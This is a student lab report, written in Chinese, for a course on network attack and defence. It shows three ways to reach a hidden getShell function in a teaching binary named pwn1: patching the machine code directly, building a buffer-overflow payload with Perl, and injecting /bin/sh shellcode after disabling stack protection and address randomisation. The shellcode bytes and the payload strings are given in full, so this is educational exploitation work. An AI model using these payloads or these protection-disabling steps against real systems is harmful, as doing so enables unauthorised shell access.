2019-2020-2 20175308杨元 《网络对抗技术》Exp1 PC平台逆向破解
需要掌握的知识点
1.掌握NOP,JNE,JE,JMP,CMP汇编指令的机器码
- NOP——空操作——“0x90”
- JNE(Jump if Not Equal)——条件跳转——“0x75”
- JE(Jump if Equal)——条件跳转——”0x74“
- JMP——无条件跳转——“0xeb”(短跳转)、“0xe9”(近跳转)、"0xEA"(远跳转)
- CMP——比较指令——“0x39”
相关用法和功能可参考 汇编指令和机器码的对应表
2.掌握反汇编与十六进制编程器
- 反汇编命令:
objdump -d filename
在实验中,我们使用的命令是
objdump -d pwn1 | more
"objdump"——object dump——项目转储
"-d"——disassemble——反汇编
"|"——管道符
"more"——分页显示
- 十六进制编程器
官方定义:“十六进制编辑器,用来以16进制视图进行文本编辑的编辑工具软件”
在我们的实验过程中,实际上我们使用vi打开文件,输入%!xxd
将文件改为16进制显示,%!xxd -r
将文件改回ASCII码。并且使用Perl语言来形成包含十六进制的键盘输入perl -e 'print "xxx"' > input
。
3.能正确修改机器指令改变程序进行顺序
见后文实践任务一
4.能正确构造payload进行bof攻击
见后文实践任务三
实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
除了main和foo,该可执行文件中还包含一个getShell代码片段,正常运行情况下这个getshell不会执行,我们的目的就是想办法运行这个代码片段
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
实践步骤
实践任务一 直接修改程序机器指令,改变程序执行流程
任务思路:
pwn1文件中正常的流程是由main函数来调用foo函数,调用的操作会跳转到foo函数的首地址,我们可以通过直接修改机器指令,强行跳转到我们希望执行的getshell的首地址。
1.下载pwn1文件,对其进行反汇编(预先输入cp pwn1 pwn2
备份)
输入命令objdump -d pwn1 | more
将pwn1反汇编,并分页显示,输入/main
找到主函数位置
如图所示,我们找到了执行跳转的语句call 8048491<foo>
,它对应的机器指令为e8 d7 ff ff ff
。
- “e8”——call指令的机器指令,即跳转
- “d7 ff ff ff”——要跳转的地址
getshell函数的首地址为“0804847d”,foo函数的首地址为“08048491”。
所以我们现在就要修改机器指令,使它从指向“08048491”改为指向“0804847d”
2.计算机器指令并修改
机器指令中的d7 ff ff ff
是一段补码,他的值等于08048491-080484ba
,所以我们要计算的值为0804847d-080484ba
。
到此我们知道了应该将机器指令修改为“c3 ff ff ff”(小端模式)
3.对pwn1文件进行修改
-
使用vi编辑器打开pwn1文件,这时候的显示应该是满屏的乱码
-
按
esc
键,输入:%!xxd
,此时的显示为16进制形式 -
键入
/e8 d7
,快速锁定需要修改的地址,我们还可以打开反汇编结果比对上下文再确定一下这个位置
-
将”d7“修改成“c3”,输入
:%!xxd -r
将文件还原到原格式。 -
对pwn1再次进行反汇编,确认修改结果
4.运行pwn1
如图,运行pwn1文件成功启动了shell,可正常输入命令,实验成功!
实践任务二 通过构造输入参数,造成BOF攻击,改变程序执行流
任务思路:
1.call指令分解:
当main函数调用foo函数时,会产生一个call的机器指令,而call指令实际上分成两步执行:
- push eip
- jump XXX
即call指令执行过程中首先将eip压入栈中,然后再进行跳转。eip中保存的是call指令下一条指令的地址,当调用结束后,程序通过这个地址进行返回。即该地址为返回地址。
2.缓冲区溢出:
当程序调用时,会形成自己的栈帧,但是foo函数的缓冲区具有Bufferoverflow漏洞
,即向这个缓冲区填入超出长度的字符串,多出来的内容会溢出并覆盖相邻的内存,当这段字符串精心设计后,就有可能会覆盖返回地址,使返回地址指向getshell,达到攻击目的。
1.对pwn1文件进行反汇编,输入/foo
快速锁定foo函数内容
如图,我们可以看出,程序为foo函数留出了“0x1c”(28字节)的缓冲区。main函数中eip中装入返回地址“080484ba”。
2.确定怎样输入字符串可以覆盖“080484ba”:
当我们得知缓冲区长度是28字节后,基本已经可以还原此时此段堆栈的结构,调用foo函数后eip进栈,保存返回地址,这部分占4个字节,4个字节保存主函数ebp,然后紧跟着缓冲区的28字节,如图所示
我们现在可以对这个结果进行验证。输入gdb pwn2
,输入“r”运行。输入字符串我们构造1111111122222222333333334444444412345678
,这时候
程序报告Segmentation fault
,输入info r
观察此时各寄存器的值:
我们可以看出,eip寄存器的值是我们输入字符串的“1234”,证明eip确实被32个字节后的第33——36字节所覆盖
3.构造输入字符串
我们之前已经找到getshell的首地址是”0804847d“,现在需要的是将这段16进制地址作为我们输入字符串的第33——36字节。我们通过键盘无法实现输入16进制,因此这里通过Perl语言将地址通过输出重定向存储到一个文件中。
Perl语言: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。
因此,我们先输入命令perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
将地址存储到input文件中。
由上张图片显示,eip: 0x34333231 所以地址部分正确输入应为“x7dx84x04x08”
x0a——回车,加到末尾运行时不用再手动敲回车
输入xxd input
,检查文件是否如我们预期的那样
4.以input为输入运行文件
输入(cat input; cat) | ./pwn1
,将input的内容通过管道符“|”作为pwn2的输入,运行结果如下:
发现我们再一次召唤出了shell,实验成功!
实践任务三 注入Shellcode并执行
任务思路:
1.shellcode:
shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
有关shellcode的编写可以参考学长博客shellcode入门
本次实验中我们使用的shellcode为:x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
2.攻击buf的构造:
两种构造攻击buf的方法:
- retaddr+nops+shellcode
- nops+shellcode+retaddr
nops:空指令,机器码为“0x90”,什么也不做,直接进行下一个指令,只要程序执行到了任意一个nops空间里的nop指令,都会滑行到我们希望系统执行的shellcode。
本次实验的结构为retaddr+nops+shellcode
1.准备工作
这部分的目的是使堆栈可以被执行已经关闭地址随机化,因为我们需要通过调试来确定shellcode的地址
- 输入
execstack -s pwn1 //设置堆栈可执行
- 输入
execstack -q pwn1
- 输入
more /proc/sys/kernel/randomize_va_space
- 输入
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
- 输入
more /proc/sys/kernel/randomize_va_space
2.构造payload
- 输入
perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
(注意这里最后一个字符不是x0a,不然后续步骤无法完成) - 注入攻击buf
(cat input_shellcode;cat) | ./pwn1
3.使用gdb进行调试
- 打开另一个终端,先找到pwn1的进程
如图可以看出该进程的进程id为“2438”
- 启动gdb,输入
attach 2438
- 输入
disassemble foo
,发现断在“080484ae” - 输入
break *0x080484ae
设置断点 - 在另外一个终端按下回车(这也是为什么攻击buf不能以x0a结尾)
- 回到gdb终端,输入
info r esp
,查看栈顶指针
到这里我们已经看见了“01020304”,他的位置是在0xffffd29c
,那么shellcode就在他高4个字节的地址,即0xffffd2a0
!
4.重新构造攻击buf
- 此时我们重新形成input_shellcode,输入
perl -e 'print "A" x 32;print "xa0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
- 进行攻击,此时我们发现攻击成功!
总结
实验收获与感想
这次实验相比以往有很大不同,以往的实验都是比较宏观的,使用C语言和java完成的,而这次的实验却是主要和汇编语言、堆栈、机器码打交道。想要完成固然很简单,按部就班输入实验指导中的代码总能完成,但如果不花时间研究很难去理解透彻,光是视频中堆栈一个框框,攻击buf一个框框就很容易看晕。因此我花了很多时间去观看教学视频,自己还原堆栈中的情况,尽量弄清楚每一个步骤的用意和原理。这篇博客其实是在我完成实验几天后才写的,就是为了再好好整理一下实验思路,结果总结的过程中我猛然发现有几个知识点我一直理解的居然还是错的,又得急吼吼的翻看视频求证。这也提醒了我以后完成实验还要再细致一点,完善思路的同时也可以乐在其中,毕竟网络对抗、破解什么的,一听就很酷炫醒脑。
什么是漏洞?漏洞有什么危害
- 我认为漏洞就是代码本身存在的一些缺陷,它不会对用户正常合法的使用造成不便,但可以被恶意攻击者加以利用造成不必要的损失。原因在于程序员没有对程序可能被使用的任何语境进行周全的预期。
- 漏洞可以被恶意攻击者利用实现各种目的,破坏用户系统、盗取用户隐私、损毁用户数据、造成严重的经济损失。